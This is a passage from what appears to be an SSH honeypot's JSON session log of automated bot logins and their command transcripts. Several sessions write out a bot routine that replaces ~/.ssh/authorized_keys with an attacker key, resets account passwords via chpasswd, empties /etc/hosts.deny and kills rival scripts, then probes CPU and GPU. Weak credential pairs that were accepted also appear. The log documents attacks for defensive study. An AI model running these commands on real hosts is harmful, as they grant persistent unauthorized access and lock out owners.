-l"},{"seq":20,"at":"2026-08-27T12:23:29.812460+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:30.073313+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:30.728183+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:30 up 7 days, 9:13, 0 user, load average: 0.23, 0.28, 0.24\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7149 free, 8738 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:30.991438+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:31.571244+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:31.833353+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:32.606600+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:32.869654+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:33.546954+00:00","kind":"output","latency_ms":null,"data":"frappe"},{"seq":29,"at":"2026-08-27T12:23:33.809645+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:34.703314+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:34.968800+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:36.119650+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"frappe","password":"P@ssw0rd123","method":"password","accepted":true,"tier":"other"}]} {"id":"3510307a-316b-4301-9a7e-679af1e64893","name":"fleeting-crimson-hyrax","protocol":"ssh","channel_kind":null,"src_ip":"187.111.28.131","src_port":59612,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:33.453243+00:00","ended_at":"2026-08-27T12:23:34.690485+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d0062a03-d96f-4390-8073-908cfdfc2009","name":"earnest-brave-meerkat","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":44694,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:28.016151+00:00","ended_at":"2026-08-27T12:23:29.108055+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4f04d438-5bd3-4155-abe8-eb4def1c29f1","name":"calm-hardy-wigeon","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":44678,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:25.737846+00:00","ended_at":"2026-08-27T12:23:27.367678+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bcbc8593-4abc-4ccc-a817-5b52dd5fe132","name":"tawny-merry-chamois","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":38270,"username":"frappe","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:19.834102+00:00","ended_at":"2026-08-27T12:23:20.562100+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"frappe","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"28a4ee71-6a88-4b33-8da9-041526a4ef56","name":"hazel-cobalt-narwhal","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":33152,"username":"fs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":730,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:18.917772+00:00","ended_at":"2026-08-27T12:23:20.111497+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2243,"events":[{"seq":1,"at":"2026-08-27T12:22:50.682824+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:22:51.420065+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:22:58.673375+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:22:58.959211+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:22:59.953127+00:00","kind":"input","latency_ms":null,"data":"echo -e \"123\\n6wRCZCn8GUjm\\n6wRCZCn8GUjm\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:23:00.689652+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\n6wRCZCn8GUjm\\n6wRCZCn8GUjm\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:23:01.421180+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:02.206761+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:02.935042+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:03.779010+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:04.505569+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:05.603582+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:06.338237+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:06.823650+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:07.563375+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:08.141071+00:00","kind":"output","latency_ms":null,"data":" 12:23:08 up 7 days, 9:13, 0 user, load average: 0.08, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:08.866911+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:09.648147+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:10.379047+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:10.882831+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:11.613595+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:12.310198+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:12 up 7 days, 9:13, 0 user, load average: 0.08, 0.07, 0.05\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:13.044214+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:13.465150+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:14.198053+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:14.799567+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:15.529789+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:16.252114+00:00","kind":"output","latency_ms":null,"data":"fs"},{"seq":29,"at":"2026-08-27T12:23:16.982910+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:18.187549+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:18.918515+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:19.875459+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"fs","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"b63a05e6-9534-42b7-9ae1-ea6d67cc92e9","name":"jaunty-woven-oxpecker","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":38266,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:23:17.840015+00:00","ended_at":"2026-08-27T12:23:19.306721+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8fcd060c-c8c5-4546-8ad4-bc9b9ab897a3","name":"fierce-sterling-cuckoo","protocol":"ssh","channel_kind":"exec","src_ip":"91.218.67.81","src_port":52536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":297,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:23:13.209762+00:00","ended_at":"2026-08-27T12:23:14.733002+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:22:54.412171+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:22:54.705468+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:22:59.069538+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:22:59.540660+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:22:59.837121+00:00","kind":"input","latency_ms":null,"data":"echo \"root:6wRCZCn8GUjm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:23:00.133526+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:23:00.433679+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:23:01.175252+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:23:01.470738+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:23:02.496760+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:23:02.795344+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:23:04.192492+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:23:04.491035+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:23:05.166215+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:23:05.462753+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:23:05.916833+00:00","kind":"output","latency_ms":null,"data":" 12:23:05 up 7 days, 9:13, 0 user, load average: 0.25, 0.28, 0.19\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:23:06.214362+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:23:06.998605+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:23:07.293823+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:23:08.142228+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:23:08.439212+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:23:08.874501+00:00","kind":"output","latency_ms":null,"data":"top - 12:23:08 up 7 days, 9:13, 0 user, load average: 0.25, 0.28, 0.19\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:23:09.173396+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:23:09.488908+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:23:09.785079+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:23:10.421691+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:23:10.722176+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:23:11.522794+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:23:11.813528+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:23:12.913985+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:23:13.210817+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:23:14.646164+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"centreon","method":"password","accepted":true,"tier":"other"}]} {"id":"4707fd2b-0cc7-4425-8d05-4591f6bd12e3","name":"mottled-umber-caribou","protocol":"ssh","channel_kind":null,"src_ip":"23.175.50.52","src_port":59919,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:22:58.397054+00:00","ended_at":"2026-08-27T12:23:29.792363+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"b6a2f706-71bc-4b66-b0aa-c02cd5e0a2fa","name":"hushed-forlorn-macaw","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58534,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:22:57.102309+00:00","ended_at":"2026-08-27T12:22:58.981506+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"6c999062-d97e-41fa-8813-2603cf53a90f","name":"woven-genial-roebuck","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":33166,"username":"fs","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:22:56.827609+00:00","ended_at":"2026-08-27T12:22:58.443833+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"fs","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"800d2bc9-6449-4996-b7db-3134b39789e1","name":"noble-jovial-marten","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":58524,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:22:55.384813+00:00","ended_at":"2026-08-27T12:22:56.516665+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e8044f8f-39e0-4199-a63e-2bb9c81a4a3d","name":"solemn-murky-panther","protocol":"ssh","channel_kind":null,"src_ip":"202.155.157.112","src_port":33162,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:22:53.160291+00:00","ended_at":"2026-08-27T12:22:55.203391+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c6fe9484-16da-4765-9244-ea79badb3efd","name":"rustic-inland-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"2.57.122.53","src_port":47424,"username":"eve","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":208,"probe_flagged":0,"exec_command":"/bin/./uname -s -v -n -r -m","started_at":"2026-08-27T12:22:40.373918+00:00","ended_at":"2026-08-27T12:22:40.478698+00:00","ended_reason":"exec complete","commands":7,"transcript_bytes":738,"events":[{"seq":1,"at":"2026-08-27T12:22:38.295490+00:00","kind":"input","latency_ms":null,"data":"/bin/./uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-27T12:22:39.124310+00:00","kind":"output","latency_ms":null,"data":""},{"seq":3,"at":"2026-08-27T12:22:39.338142+00:00","kind":"input","latency_ms":null,"data":"uptime -p"},{"seq":4,"at":"2026-08-27T12:22:39.338643+00:00","kind":"output","latency_ms":null,"data":" 12:22:39 up 7 days, 9:12, 0 user, load average: 0.33, 0.25, 0.32"},{"seq":5,"at":"2026-08-27T12:22:39.540513+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA | cut -f5- -d ' '"},{"seq":6,"at":"2026-08-27T12:22:39.541187+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-27T12:22:39.748847+00:00","kind":"input","latency_ms":null,"data":"lspci | grep VGA -c"},{"seq":8,"at":"2026-08-27T12:22:39.749414+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":9,"at":"2026-08-27T12:22:39.959809+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | head -n 1 | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}'"},{"seq":10,"at":"2026-08-27T12:22:39.962093+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":11,"at":"2026-08-27T12:22:40.167970+00:00","kind":"input","latency_ms":null,"data":"lspci | grep \"3D controller\" | cut -f5- -d ' '"},{"seq":12,"at":"2026-08-27T12:22:40.168507+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":13,"at":"2026-08-27T12:22:40.374789+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | grep . -c "},{"seq":14,"at":"2026-08-27T12:22:40.375266+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"}],"credentials":[{"username":"eve","password":"eve","method":"password","accepted":true,"tier":"other"}]} {"id":"84d2a4e8-6fcc-4968-a1e4-a049d8e02664","name":"russet-rugged-lorikeet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":53984,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:21:47.348913+00:00","ended_at":"2026-08-27T12:21:48.544087+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:21:29.315794+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:21:29.647281+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:21:34.210089+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:21:34.462569+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:21:34.792850+00:00","kind":"input","latency_ms":null,"data":"echo \"root:tdJWhKLCPn8c\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:21:35.120022+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:21:35.449600+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:21:36.087103+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:21:36.417348+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:21:37.328323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:21:37.658024+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:21:38.817613+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:21:39.150585+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:21:39.558950+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:21:39.890241+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:21:40.468051+00:00","kind":"output","latency_ms":null,"data":" 12:21:40 up 7 days, 9:11, 0 user, load average: 0.18, 0.19, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:21:40.798115+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:21:41.142180+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:21:41.474683+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:21:42.313457+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:21:42.648966+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:21:42.904781+00:00","kind":"output","latency_ms":null,"data":"top - 12:21:42 up 7 days, 9:11, 0 user, load average: 0.18, 0.19, 0.12\nTasks: 106 total, 